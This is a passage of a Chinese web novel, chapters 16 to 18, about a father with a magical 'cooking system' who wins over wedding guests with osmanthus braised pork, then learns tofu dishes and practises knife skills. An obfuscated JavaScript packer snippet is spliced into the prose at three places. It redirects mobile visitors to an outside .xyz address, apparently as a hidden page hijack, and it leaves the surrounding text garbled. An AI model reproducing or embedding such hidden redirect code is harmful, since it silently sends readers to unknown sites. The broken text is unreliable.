把肉炖上，他算着时间心里微微松口气，等旁边蒸蒜蓉粉丝扇贝的锅空出来，立刻开始炒笋子。 原本笋子是干锅笋，但楚易文可管不了那么多，按自己会的直接拿五花肉开始炒。 屋子那边接亲搞得热火朝天时，露天厨房同样忙得不行，帮厨们将凉菜按桌子数准备起来，拿盘子的拿盘子，装菜的装菜。 楚瑾钰在新郎那边凑会热闹后终于想到自家老父亲，捏着把喜糖溜达过来，见全场就剩他一个人还站在大锅前炒菜，额头都微微出汗，带着点小心虚开口：“爸，吃喜糖吗？” “不吃，你自己吃。”楚易文说完问了下前面的情况，得知应该没那么快开席，这才放下心来。 楚瑾钰早就过了爱吃糖的年纪，刚刚也是别人直接塞过来他才接着，见他爸不吃，顺手把喜糖揣兜里。 “爸，还有几个菜？” “这个笋炒完，还有个青菜。” 楚瑾钰视线在周围扫过一圈，忍不住小声说：“好多都是半成品，就这干嘛不去酒店办。” “你以为酒店就不用半成品？”楚易文笑着道。 父子二人说话的功夫，锅里炖的红烧肉香味从锅盖缝隙里钻出来，浓郁的肉香中带着焦糖的甜味，闻起来特别勾人食欲。 楚瑾钰鼻子不自觉轻嗅两下，随即就走到红烧肉锅旁，心里想着不亏是他爸炖的肉，闻起来就是香。 “好香啊。” 很快附近忙活的帮厨们也都闻见香味，不由纷纷转头看过来，其中有个人更是忍不住夸楚易文手艺好，说下次亲戚家要是有红白喜事也要请他去掌厨。 见自家老爸被人当成做席的大厨，楚瑾钰感觉很有趣。 临近十二点时，宾客们在主家的招呼下开始落座，负责传菜的人则是纷纷来到露天厨房。 “好香……” 红烧肉已经开始收汁，中大火的高温让锅里汤被煮得咕噜咕噜冒泡，浓郁的肉香伴随热气飘出来，哪怕附近桌上摆着许许多多菜肴，但当它香味一出，却是霸道地压下其他所有菜香。 “要开席了，你先去吃饭。”楚易文见自家儿子还站在旁边，开口示意他去吃饭。 楚瑾钰见留在这也帮不上忙，去前面找个桌坐下，同时还不忘拿手机帮他爸占位置。 “你爸人呢？”同桌有人看到他，立刻询问。 楚瑾钰：“在厨房帮忙做菜。” “做菜？你爸不是开公司的吗？什么时候开始转行当大厨了？” 这人跟楚易文关系不错，纯粹是开个玩笑，但隔壁桌却有人转过头来问楚瑾钰：“不是吧，你爸公司开垮，改行做厨子了？” “你爸才公司开垮，不对，你爸压根开不起公司。”楚瑾钰说完还切了一声。 “你这孩子怎么跟长辈说话的……” 楚瑾钰正想顶回去时，新郎妹妹过来，看着那人道：“孝青表哥你别酒都没喝就开始说胡话，厨房那边忙不过来我家才请易文哥帮忙。” 过来喝喜酒，主人家面子还是得给的，大约三十多岁看起来略显油头粉面的男人暂时闭上嘴，不再没事找事。 没两分钟，凉菜开始上桌，有炒花生米、卤牛肉、炸小鱼干、猪耳朵、凉拌毛豆、卤汁鲍鱼，菜色还挺丰富。 楚瑾钰尝了口小鱼干，感觉没他爸做得好吃，再吃口卤牛肉，感觉肉有点柴，干脆放下筷子开始喝饮料。 “妈妈我想吃肉。” 楚瑾钰左边坐着个大概五六岁的小孩，此时正仰起头对妈妈说，他妈闻言直接夹片卤牛肉放到他碗里。 “不是这个肉。” 孩子妈闻言，直接把猪耳朵、小鱼干、鲍鱼每样给他夹点，然而他还是摇头。 “桌上就这些肉，你到底要吃什么？” “我要吃香香的肉，妈妈你没闻到吗？”小孩子鼻子就是好使，他显然是闻见顺着风飘过来的红烧肉香味。 孩子妈妈用力嗅两下，确实闻见股浓郁肉香，开口道：“热菜马上就上来了，你先吃碗里这些。” “不好吃，我要喝可乐。”小孩嘴巴还挺挑，低头咬了口碗里卤牛肉就不肯再吃，喊着要喝饮料。 这边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651566|172521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒席上闹哄哄时，露天厨房里，楚易文见锅中红烧肉汤汁已经变得浓稠，开始将桂花洒下去。 “哎……” 旁边有帮厨看到他的动作，下意识喊了声，显然是不想那么香的红烧肉被桂花毁掉。 不过随着楚易文用锅铲将肉轻轻翻动，桂花香气融入汤中，沾染到肉上，一股清雅悠香的气息混合在肉香中，为红烧肉香气带来更高层次的嗅觉体验。 帮厨和负责上菜的人闻见这股香味都有点走不动道，喉咙不自觉吞咽起来，显然是有被馋到。然而他们还有上菜的任务，只能忍着馋意赶紧去端菜。 随着一道道菜上桌，酒席上气氛更加热闹，老一辈们喝酒吃肉聊得很是起劲，年轻人们却是边吃边抬头。 “到底是什么菜那么香啊？怎么还不上桌。” “我也闻见了，感觉像是红烧肉，有股焦糖甜味。” “烤羊排不好吃，有点膻，希望红烧肉能好吃，不要只是闻起来香……” 楚瑾钰那桌的人也在讨论是什么菜那么香，希望能快点上桌，他听几句后到底还是没忍住，开口道：“是桂花红烧肉，我爸做的。” “你爸行啊，竟然会做红烧肉，还做得那么香。” “那我待会可得好好尝尝，我还没吃过桂花红烧肉，听起来就新鲜。” 同桌的人闻言很是捧场，但隔壁桌那个叫孝青的听见却是立刻开口：“就没听说过谁家用桂花做红烧肉，听着就不像能吃的，有些人真是不知道怎么说，跑到别人家喜宴上瞎逞能……” 楚瑾钰觉得这人八成是有毛病，都没在一张桌子，他偷听就算了，还总要插几句不讨喜的话，简直是平时被人打得少了。 “有本事你待会别吃。”楚瑾钰有些生气。 “切，我可不敢吃乱七八糟的东西。” “你待会吃了就是狗。” 看到楚瑾钰气得直瞪人，和他一桌的人赶紧安抚他：“别理他，八成是嫉妒你爸事业有成，你越生气他越高兴，这种人就直接把他当空气，你无视他，他反而能气死。” 老家里大家生活条件都只算是普通，像楚易文这种靠自己打拼在市里定居，并且还开公司当老板，老一辈人都把他当别人家孩子挂在嘴边。而和他平辈的人，有些只是单纯羡慕，有些就忍不住嫉妒起来。 楚瑾钰刚被安抚好，楚易文端着盘子过来，看到儿子表情有些不对，顺口关心道：“怎么了？” 他手里端着的是刚出锅的桂花红烧肉，刚刚远远闻着就已经能馋死个人，现在他端过来，先是一股浓郁肉香混着焦糖气息扑鼻而来，中间带着酱香与香料气息，最后则是清雅的桂花香，花香完美地融入肉香之中，闻起来半点都不突兀。 楚瑾钰被桂花红烧肉香味给吸引，此时哪还记得什么孝青、孝绿的无关人士，心里只剩下“想吃”两个字。 他毕竟是高中生，还知道“矜持”两个字怎么写，但他旁边的小孩哪顾那么多，已经扯着嗓子嚷嚷起来：“我要吃肉肉！” 16.第16章 楚易文闻言赶紧把菜放到桌上，随即在儿子旁边坐下，心里想着这儿子还是没白养，至少知道给自己留座。 他还在心里夸着儿子时，桌上其他人不论男女老少，已经不约而同握着筷子朝桂花红烧肉下手。 琥珀红棕色的五花肉躺在盘子里，肥肉部分经过炖煮已经变成半透明，看起来带着点晶莹剔透，上面点缀着桂花，卖相很是诱人。香味更是不用说，刚刚没出锅时就引得大家频频抬头看，现在菜上桌，大家更是被馋得口水都快下来。 终于夹到肉，大家都顾不上烫，随便吹两下就咬上去，肥肉部分入口即化，脂香浓郁却不油腻，瘦肉部分软烂却不柴，肉皮部分软糯弹牙，一块肉三种口感，单吃香，合在一起更是美味，好吃到令人陶醉。 “好好吃，肉肉太好吃了，妈妈我爱吃肉肉！” 大人们被惊艳到的反应只体现在眼神变化和表情上，小朋友则是要直接得多，好吃到摇头晃脑，整个人差点没从椅子上跳起来。 肥而不腻的红烧肉添上桂花后，吃完唇齿之间残留着清雅桂香，闭上眼有种置身于桂花树下的感觉，给人带来味觉与嗅觉双重美好的体验。 楚瑾钰同样被桂花红烧肉给好吃到，觉得那股桂花香非但不突兀，反而让肉吃起来更是莫名清爽。 眼见桌上其他人都开始抢起来，他飞快又夹一块到自己碗里，同时又想起另外一件事，赶紧看向隔壁桌。 隔壁桌的宾客同样在抢五花肉，第一轮时孝青倒是没动筷子，甚至看到其他人吃得那么香表情有些不屑，然而随着大家边吃边夸，以及浓郁的红烧肉香源源不断往鼻子里钻，他到底还是没忍住。 就在他伸出筷子准备趁人不注意夹一块红烧肉尝尝时，楚瑾钰正好看过来，立刻开口：“不是吧不是吧，不会有人放着人不当要当狗吧？” 楚易文疑惑地看向儿子，就听见隔壁桌传来筷子拍到桌上的声音。 他刚转头过去，孝青就对着他说：“楚易文，你看看你儿子，怎么跟长辈说话的！” “他又没跟你说话，你那么激动干嘛？”楚易文虽然没搞清楚状况，但猜到应该是刚刚两者之间起了冲突。 作为从小在老家长大，高中、大学才走出村里的人，楚易文可太知道老家某些喜欢拿“长辈”说话的人有多烦人。己所不欲勿施于人，小时候他烦所谓的“长辈”，现在哪怕他也成为长辈，还是看不惯这类人。 “你……” 孝青总不能当着他面把刚才嫌弃他做菜的话再说一遍，以此证明他儿子就是在说自己，只能憋着气将头转回来。 两句话的功夫，桌上红烧肉已经全部被抢光，他看着只剩汤汁的盘子，心里更加生气。 “有米饭没？这汤拌饭肯定好吃。” 本来酒席上一般没什么人会吃米饭，但红烧肉实在太香，大家感觉根本没吃够，连肉汤都舍不得浪费。 看到他们连汤汁都抢到碗里拌饭，孝青开口道：“你们至于吗？真是没吃……” 他有点生气，本来想嘲讽其他人都没吃过好东西，结果嘴巴张开时口水却是直接流出来，反应过来后他尴尬得脸瞬间红温。 他恨不得直接找个地缝钻进去，但实际上同桌其他人一心只有美食，压根没人关注他。 “这汤拌饭果然好吃，太香了！” “确实香，用这汤拌饭我能吃三碗米饭。” 汤汁里都是精华，甜咸交织中带着淡淡桂花香，和米饭相融合，将原本白色米饭染上酱色外衣，吃起来油润却不腻，反而越嚼越香。 大家在哐哐干饭，一个劲夸赞时，孝青却感觉他们在无声嘲笑自己，终于有些坐不住，直接起身离席。 楚瑾钰那桌，坐在他旁边的小孩吃完还想要红烧肉，但盘子里别说肉，连汤都被吃干净。 孩子妈妈试图跟他讲道理，但小朋友刚刚其他菜都不爱吃，现在被红烧肉吃开胃，肚子正饿着，哪里肯讲道理，扯着嗓子就要闹。 “行行行，我看看其他桌还有没有。” 孩子妈妈没办法，只能拿着碗去其他桌找，结果就发现有好多跟她一样端着碗的家长，最终她运气不错，在孩子爷爷那桌弄到块红烧肉，以及些肉汤。 孩子爷爷那桌都是能喝酒的，其他菜基本没怎么动，但酒鬼又不是没长鼻子，闻见肉香他们同样被红烧肉给吸引，不自觉就吃起来。之所以能让孩子妈妈弄到一块，纯粹是这桌上菜比较晚。 楚易文在系统厨房学做红烧肉时没少被老爷子嫌弃，现在见大家都爱吃，他脸上不自觉透出笑意，见儿子望着隔壁拿到红烧肉的小朋友，轻声道：“你也没吃够？等回去我再给你做。” “我就吃到两块。”楚瑾钰也是没想到桌上人能抢得那么快。 他话落，桌上其他人回味着嘴里余味看向楚易文：“易文，这红烧肉真是你做的？做得真不赖，比外面酒店还好吃。” “你这怎么做的，又香又好吃，而且还不腻。” “以前我还感觉自己不爱带甜味的菜，但你这红烧肉是真好吃，连汤拌饭都特别香。” 桂花红烧肉和普通红烧肉比起来更添一抹秋天气息，吃完唇齿留香，回味无穷。 大家你一句我一句夸着，旁边桌甚至有人扯着嗓子问还有没有红烧肉。 红烧肉是没有了，不过马上又有菜上桌。黑米糕和笋子炒肉上桌时，金黄微焦的五花肉和嫩黄色笋子交织在一起，卖相别提多诱人，盘子刚放下来，大家就纷纷伸出筷子去夹。 这次楚瑾钰早有准备，直接夹一筷子放在碗里，咀嚼着脆嫩鲜香的笋子，他发现果然还是他爸做的菜更合他口味。 “这笋好吃，果然好吃的菜都在后面。” “别抢啊，给我留点。” “嘿，你这孩子，怎么能用手抓！” “菜呢？我这桌还没有菜。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15658152|172521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “好嫩好脆的笋，这五花肉炒的也香，好吃，真好吃。” 五花肉炒笋一上桌，又是没几分钟就被清盘，同时让大家更期待后面的菜，可惜楚易文就做了桂花红烧肉、炒笋子和青菜，其他菜上桌时，客人们瞬间就失望起来。 倒不是说其他菜就不好吃，主要是看跟什么比，吃过令人陶醉的桂花红烧肉和炒笋后，其他菜是真不香。 发现没有好吃的了，不少人已经开始放下筷子，而在此时，炒青菜也被送上桌。 “来，吃点青菜。” 孩子妈妈夹着炒得格外青翠欲滴的青菜放到孩子碗里时，小家伙听见青菜就开始摇头：“不要吃青菜。” “青菜也是我爸炒的，好吃。”楚瑾钰听见旁边小孩的话，边夹菜边顺口说了句。 他话落，小孩还没开始吃，桌上原本已经放下筷子的人纷纷重新握起筷子。 由于没有香菇，青菜楚易文直接拿蒜蓉爆香后炒的，碧绿油亮的青菜搭配白色蒜片，卖相看着格外清爽诱人。青菜的土腥气被蒜香去掉，吃进嘴里脆嫩清甜，咸鲜多汁，在大鱼大肉后来上这么一口菜，简直整个人从嘴巴到胃都感受到清爽。 本来挑食的小朋友被妈妈塞一口青菜后，不自觉就咀嚼起来，吃完主动喊着还要吃。 酒席结束，得知红烧肉、笋子、青菜这三道色香味俱全，让人吃了还想吃的菜都是出自楚易文的手艺，甚至有跟他不熟的宾客试图过来找他预约酒席，搞得楚易文有些失笑。 喜宴上菜色得到宾客们好评，主人家也有面子，因此新郎父母对着楚易文那是感谢得不行，哪怕知道他不缺钱，还是塞了个大红包过去，又送给他一板豆腐。 他们之所以会送豆腐，是因为新郎妈妈娘家那边是卖豆腐的，今天喜宴上豆腐是新郎外公外婆亲自做的，用的自家种的最好的黄豆。 【叮~恭喜宿主收获纯手工豆腐，获得食谱文思豆腐x1 家常豆腐x1】 别人喝喜酒最多带回礼盒，楚易文倒好，还带回来一板豆腐，搞得他有点哭笑不得。 倒是坐在车后排的表姨奶笑得挺高兴，一个劲说他今天吃酒席不亏，又有红包拿还有那么多豆腐。 楚易文并不在意这点东西，不过想到又多两道菜谱，心情倒是还不错。 开车回来后，他没立刻去学习菜谱，而是提醒儿子做作业。 楚瑾钰不想写作业，感觉有点烦，但现在确实没什么借口可找，最终只能将作业翻出来。 “爸，我们什么时候回家？”可能是不想做作业，他握着笔不到两分钟就开始没话找话聊。 “你想什么时候回去？” “明天或者后天就回去吧。” 老家确实不错，但网有点卡，游戏都不好打，让楚瑾钰待几天还行，待久了他有些不愿意。当然，还有部分原因就是他觉得在老家他爸没事干，天天就知道催他写作业，实在有点烦。 17.第17章 楚易文已经到了喜欢回忆从前的年纪，难得回次老家，他想多住几天。 “我记得豆腐好像很容易坏，那么多豆腐我们吃不完怎么办？” 看得出来楚瑾钰是真不想写作业，手里还握着笔，思维却是发散到豆腐上去。 “吃不完可以放到冰箱做成冻豆腐。”楚易文说完开口提醒，“好好写作业。” 楚瑾钰“啧”了声，感觉有点烦，笔在手里转过来转过去，好半天才写几个字。 他是真不想写，但他爸就坐在旁边守着，最终只能慢慢沉下心，挑着会做的题做起来。 “我去上个厕所。” 一个多小时后，楚瑾钰是真有点坐不住，直接借着尿遁跑路，躲回房间玩手机去。 之前他嫌网不好打游戏都不好玩了，现在被迫写会作业，瞬间又感觉还是游戏比较香，直接去群里喊人打游戏。 胡一齐【就你那破网，打个鬼的游戏。】 叶其林【你上次不是说再也不在老家打游戏吗？】 【别提了，刚刚被我爸盯着做作业……现在想打游戏。】楚瑾钰啪啪啪打字抱怨着，可惜没得到朋友们的安慰。 倒不是朋友们不讲义气，谁让他前面不做人，没事就在群里发美食照片馋人。 胡一齐【哈哈哈哈，出来混总是要还的，你以为你爸做的美食是白吃的？】 看到他在群里笑得那么开心，楚瑾钰磨着牙继续开始打字。 【你怎么知道我爸中午又做美食了，桂花红烧肉你吃过没？红亮诱人的红烧肉上点缀着桂花，浓油赤酱和清雅花香完美融合，吃起来肥而不腻，余味中带着桂花特有香气……肉香、酱香和花香层层递进，一口下去，肉皮软糯，肥肉入口即化，瘦肉酥烂入味而不柴，整体滋味甜咸交融……】 人果然是在做坏事时最用心，楚瑾钰为了馋死胡一齐，描述得那叫一个认真，要是他写作文时有这种发挥，估计能得不少分。 写美食他不单写菜本身的色香味，还啪啪啪打字分享今天酒席上宾客们的反应，什么同桌小孩被馋哭，什么男女老少争抢红烧肉，连肉汤都抢着要，什么一群人端着碗去其他桌到处找红烧肉。 当然，关于隔壁桌那个叫孝青的家伙他也没忘记提一嘴，描述他前面有多嘴硬，后面却被红烧肉馋得流口水。 胡一齐有被馋到，下意识摸摸嘴角后问【红烧肉我又不是没吃过，有你说得这么夸张吗？我不信，除非你给我尝尝。】 【爱信不信。】 两个人在群里拌几句嘴后，最终还是商时贸问了句楚瑾钰什么时候回来。 这边楚瑾钰在房间跟朋友聊天，外边楚易文猜到他应该是不想继续做作业，拿起他刚刚写的那些检查一遍，见好歹已经做了不少，到底没再去催他。 不用盯着儿子做作业，楚易文也没其他事，想到新到手的菜谱，干脆起身回房间去。在文思豆腐和家常豆腐中，显然前者更有吸引力，他毫不犹豫选择文思豆腐。 往常只要他在心里选择学习菜谱就会直接出现在系统厨房，今天却出现意外，系统像是卡顿一样连叮好几声，终于完整叮出话来。 【叮~宿主当前刀工熟练度不达标，无法学习菜谱“文思豆腐”。】 楚易文还是头回遇到这种情况，不由在心里询问。 【那要怎么才能学习？】 【系统？】 【怎么提高刀工熟练度？】 他连着问几句，终于得到系统回应【叮~是否进入刀工训练模式？】 楚易文下意识选择是，很快就出现在系统厨房中，不过这次厨房里却没有老爷子在，而是有个大屏幕，从最基础的握刀手势开始教起。 他此时没发现问题的严重性，还有心情感叹原来学厨艺也有网课，等到正式开始练习切菜时，不停重复将土豆切成薄片，再将薄片切成丝，让他感觉很是枯燥。 “系统，我要切到什么时候去？”感觉自己切了好久好久的楚易文终于忍不住开口询问。 系统没有回应，他干脆停下来休息，两分钟后，系统声“叮”的一声响起，提醒他加快速度，剩余土豆数量为七十六个。 不是吧？要切够一百个土豆？ 楚易文感觉有点心累，同时他发现不光要切一百个土豆，甚至切的时候还不能敷衍，否则不计数。 切不完根本不能离开，没办法他只能深吸一口气，放平心态认真切起来，手腕发力，先将土豆切平整好方便下刀，随即刀尖轻触砧板切薄片。 其实楚易文倒是想早点切完，但他目前刀工熟练度不够，能保持均速切就不错，根本做不到提速。刀工这东西技巧肯定有，但更多的还是靠时间堆出来的熟练度。 在他放平心态完全沉浸入练习中时，切出来的土豆片明显薄厚越来越均匀。 一百个土豆切完，楚易文在房间床上睁开眼，感觉整个人从心到身都有点累，尤其是想到从系统厨房出来前，还收到每天切十个萝卜或土豆的日常任务。 跟学习做菜比起来，刀工练习过于枯燥，重复的动作特别考验人耐心。某方面来说，楚易文收到这个日常任务后，甚至有点理解儿子为什么不想做作业了，当然，也就那么一瞬间。 练刀工是个长期任务，在床上摊平躺了会，他有点想知道是不是刀工没练好就没办法再学做菜，于是试着学习家常豆腐。 好消息，家常豆腐可以正常学习，他进入系统厨房就看到老爷子那张严肃的脸庞，楚易文甚至感觉有点亲切。 可能是觉得家常豆腐太小儿科，老爷子废话都没一句，直接上来就开始示范。只见他连砧板都不用，一手托豆腐一手握着刀，刷刷几下就将豆腐切成小块。 楚易文看到他往豆腐上洒盐感觉有点莫名其妙，不由多问一句。 “盐为百味之首，煎豆腐时洒点盐既然可以入底味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662487|172521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，还能让多余水分析出。” 老爷子说话的同时手里已经开始调料汁，生抽、白糖等调料在碗里调成汁，由酱料组成的特有香味飘出来。 料汁调完，他开始起锅烧油，将豆腐块依次丢入锅中。别人煎豆腐时生怕被油溅到，动作要多小心就有多小心，但有手艺的人就是不同，老爷子丢得那叫一个随意，偏偏就是没有油溅到他。 “煎的时候注意转小火。” 老爷子开口提醒一句，锅里豆腐已经开始滋滋冒着油泡，几分钟后他握着锅轻轻一颠，锅里豆腐直接全飞起来，落下来时已经全部翻个面，露出被煎得金灿灿的颜色。 楚易文觉得这一手很是漂亮，没忍住在旁边对着空气模仿起来，恨不得自己立刻上去试试。 家常豆腐做法并不复杂，主要是煎的时候注意火候，把豆腐煎成两面金黄就好。 “吃葱姜蒜就这个时候下进去用油爆一下，不吃就别放。”老爷子说话时用锅铲将煎好的豆腐推开，露出锅中底油，下入葱姜蒜爆香，再将提前调好的料汁倒进来轻轻颠锅。 当料汁均匀裹上每一块豆腐上时，豆腐特有的香味与葱姜蒜的辛香、料汁的酱香完美融合，散发出诱人气息。 等到汤汁微微收干，家常豆腐直接出锅，每块豆腐都被煎成漂亮的金黄色，边缘还带着点微焦，汤汁为它披上层红棕色衣裳，让它看起来更加有光泽感，也更加令人食欲大开。 这要是家常豆腐的话，那我以前吃的算什么？ 楚易文心里想着，手上已经握上筷子，豆腐刚入嘴，他心里就浮现“完美”两个字。 一口豆腐进嘴，外皮的焦香和内里的软嫩形成鲜明对比，咀嚼间豆香浓郁却无半点豆腥气，由于料汁里加了糖提鲜，吃起来咸鲜可口，酱香浓郁的同时，余味中带着恰到好处的回甘。 今天中午楚易文在喜宴上做的菜深受大家喜爱，甚至还有好多人吃得直接抢起来，不得不说，他那会心里高兴的同时多少有些飘。 但此时吃着嘴里的豆腐，想到老爷子将最家常的豆腐豆腐都能做成如此美味，楚易文瞬间觉得自己还得多学。 他一口接着一口将整盘豆腐吃完，回味着唇齿间残留的余味，握着刀开始切豆腐。当然，他没老爷子那个胆量，可不敢直接在手上切，老老实实用砧板。 老爷子看到他切个豆腐一点都不利落，没忍住又毒舌几句，说真该往他脑袋上洒点盐控控水分。 楚易文左耳朵进右耳朵出，切完豆腐就开始调料汁，调完就开始煎。 煎豆腐看起来简单，但真到他自己操作时却是一个不小心就给翻破。看到豆腐破了，他赶紧放慢速度，结果没及时翻边的豆腐又有要焦的架势。 “豆腐翻那么碎，你是准备做麻婆豆腐？”老爷子再次开口喷人。 楚易文感觉这锅豆腐是救不回来了，直接破罐子破摔，真用锅铲给它炒成麻婆豆腐拉倒。 18、第18章 不出所料，楚易文把家常煎豆腐变麻婆豆腐的行为招到了老爷子的嘲讽。然而别管他在系统厨房学做菜有多狼狈，等他学成出来时，成就感就有多满。 豆腐不耐放，当天晚上肯定得吃，楚易文直接露了一手刚学会的家常豆腐。 在他煎豆腐时，香味先将楚瑾钰吸引到厨房，没多久大黄也跑到门口蹲下，尾巴摇个不停。表姨奶坐在灶台里面帮忙烧火，看到这一幕眼中都透着笑。 豆腐特有的豆香被热油完全激发出来，随着颜色变成金黄色，那股豆制品特有的焦香，闻着简直不要太馋人。 楚瑾钰一个多小时前才吃过甜瓜，结果现在闻着豆腐香，他感觉自己又饿了。 表姨奶作为老一辈人，还保留着吃席打包的习惯，中午回来时打包不少菜。因此今天晚上楚易文做道家常豆腐，炒个青菜，再把打包的菜热一下就可以吃饭。 开饭后，最吸引楚瑾钰的还是那盘金黄色的豆腐，他边轻嗅豆腐香，边伸出筷子夹起一块，咬下去外焦里嫩，而且很入味，不像有些豆腐，只有表面有味道。 他空口就吃掉两块豆腐，第三块时才配上米饭一起吃，香得眼睛都弯起来。 家常豆腐听起来很朴素，但浓郁的豆香与酱香在味蕾上蔓延开来，配上略带回甘的余味，简直不要太惊艳。楚瑾钰越吃越觉得香，感觉特别下饭，吃得根本停不下来。 “小文你这豆腐做得真好吃。” “也没看你放什么东西，怎么做出来就这么香。” 豆腐营养丰富又不费牙，本来就很适合老年人吃，表姨奶他们吃着香喷喷的家常豆腐，都忍不住夸好吃。 吃过更好的，楚易文感觉自己这豆腐还是差点意思，不过见他们都喜欢吃，立刻表示明天再给他们做。 听到明天还有豆腐吃，楚瑾钰嘴上没说什么，心里却是很高兴，端着碗又去添了碗饭，还把豆腐汤汁倒进碗里拌饭吃。 “爸，豆腐里是不是放糖了？” 吃豆腐时还不明显，不过用汤拌饭后，楚瑾钰却是感觉好像有一丝丝甜味。 “放了一点点糖提鲜。” 看得出来大家都更喜欢楚易文的手艺，晚饭结束，他做的两道菜被吃得连汤都不剩，而被打包回来的菜，没吃完的直接进入狗盆里。 老人起得早，睡得也早，而楚易文，吃饱喝足没事干，直接跑厨房玩手机去。只有楚易文，想到那个日常任务是从今天开始，微微叹一口气后，去厨房练习切菜去。 乡下最不缺的就是土豆和萝卜，楚易文直接挑了十个比较小的白萝卜直接开始切薄片。 最开始两个萝卜他切的片还有些厚薄不一，多切几个后他渐渐掌握些技巧，切得越来越好。 【叮~日常任务完成，奖励食谱酸萝卜片x1】 本来楚易文还以为切出来的萝卜片只能拿去喂鸡喂鸭，听到奖励觉得倒是正好。不过现在已经不早，他也不急这一会，将切好的萝卜片先放入冰箱中，决定等晚上睡觉时学会菜谱，明天再过来做。 晚上趁着睡觉时间学会酸萝卜片怎么做的次日上午，早餐结束楚易文就开始继续今天的日常任务。 “爸你没事切那么多萝卜干嘛？”楚瑾钰被切菜声音吸引过来。 “切了做酸萝卜。”楚易文说话时手上没有停，一片片薄得能透光的萝卜片落在砧板上，散发就萝卜特有的清香。 楚瑾钰看到他切萝卜有些手痒，拿起片萝卜打量起来。 看到他这副闲着没事干的样子，楚易文开口道：“作业不是还没写完？赶紧写作业去。” “还有几天假，明天再写也来得及。” “别明日复明日，明天要坐车回家，你早点把作业写完，回去不就可以随便玩。” 楚瑾钰不情不愿地被催着去写作业，看见凑过来找他玩的大黄，虽然不至于踹它两脚，但还是羡慕它不用写作业的自由，没好气地把手里那边萝卜片砸向狗头，让它边玩去。 大黄直接张嘴接住萝卜片就吃起来，吃得还挺欢。 “你是真不挑食。”楚瑾钰被它逗笑，最终搬了桌椅坐在院子里写作业。 表姨奶老两口都闲不住，一个去菜地里忙活，一个跑后山不知道干嘛去，家里便只有他们父子俩。 父子二人一个在厨房，一个在院子里，各自做着自己的事情，气氛倒是挺和谐。 厨房内，楚易文今天切菜速度明显见长，没多久就切完十个小萝卜。切完没再收到奖励，他心里有点小失望，不过很快就收拾好情绪开始做酸萝卜。 他先将切好的萝卜片放入盆中加入盐杀水，随即开始调糖醋汁，糖和醋按比例在锅中煮化，关火等待放凉。 表姨奶家有不少玻璃瓶，倒是可以用来装萝卜片，不过楚易文见那些瓶子大的大小的小，而且不确定能不能装下全部萝卜，想想决定还是去买点瓶子回来。 楚瑾钰看到他爸手里拿着车钥匙出来，赶紧开口问：“爸你去哪？” “去买玻璃瓶回来装萝卜。” “我跟你一起去。”楚瑾钰立刻放下笔。 “不用，你在家好好写作业，我买完瓶子就回来了。”楚易文说完又补充一句，“回来给你带糖吃。” “我又不是小孩子……”楚瑾钰有些无语。 楚易文果然说话算话，不光很快回来，还给楚瑾钰带了串冰糖葫芦和一袋零食。 “服了，我小学时就不吃冰糖葫芦了好嘛！” “买都买了，别浪费。”楚易文把吃的放他手边就直接去厨房继续忙活起来。 他先把买回来的玻璃瓶先洗干净擦干水分，随即就去看萝卜，见水分已经被盐给杀出来，用水洗两遍后开始将萝卜片拧干。萝卜片现在拧得越干，等腌制时就能更好地吸收糖醋汁，因此这一步他拧得很认真。 萝卜拧完，楚易文将其装入玻璃瓶中，再依次加入小米辣和已经冷却的糖醋汁。装好以后，白色萝卜片和红色小米辣颜色透过玻璃，看起来还挺漂亮。 他将每个玻璃瓶仔细拧紧，上下摇晃一下就放入冰箱里冷藏起来，让萝卜片能够更快入味。 酸萝卜片做法简单，主要就是糖醋汁比例的调制，以及注意切片的薄厚均匀，和用盐杀水要杀干净。楚易文做完快速将厨房收拾干净，随即就出去看儿子作业写得怎么样。 别看楚瑾钰刚才嘴上嫌弃，但等楚易文进厨房时，他还是把那串冰糖葫芦解决掉，此时已经吃完重新写起作业来。 楚易文看到他写得还挺认真，脸上不自觉露出笑意。 酸萝卜至少要腌制四个小时以上才能入味，中午显然是吃不上，直到晚餐时，楚易文才从冰箱里拿出来一瓶。 其实腌一晚上萝卜会更入味，不过见儿子好奇，中午就问过，他想着反正晚上吃也不是不行，干脆拿一瓶出来。 经过腌制，原本白色的萝卜片变得晶莹剔透，配上红色的小米辣点缀，看起来卖相诱人。等到瓶盖被打开，一股清爽刺激人食欲的酸香扑鼻而来，酸香中带着萝卜特有的清甜气息，以及小米辣的辛辣。 楚瑾钰伸出筷子夹起一片送入口中，刚嚼就发出爽脆的“咔嚓”声，萝卜片水分特别充盈，咀嚼两下汁水就溢出来，酸爽中带着辣味，辣中带着回甘的滋味瞬间从味蕾上蔓延开来，简直不要太开胃。 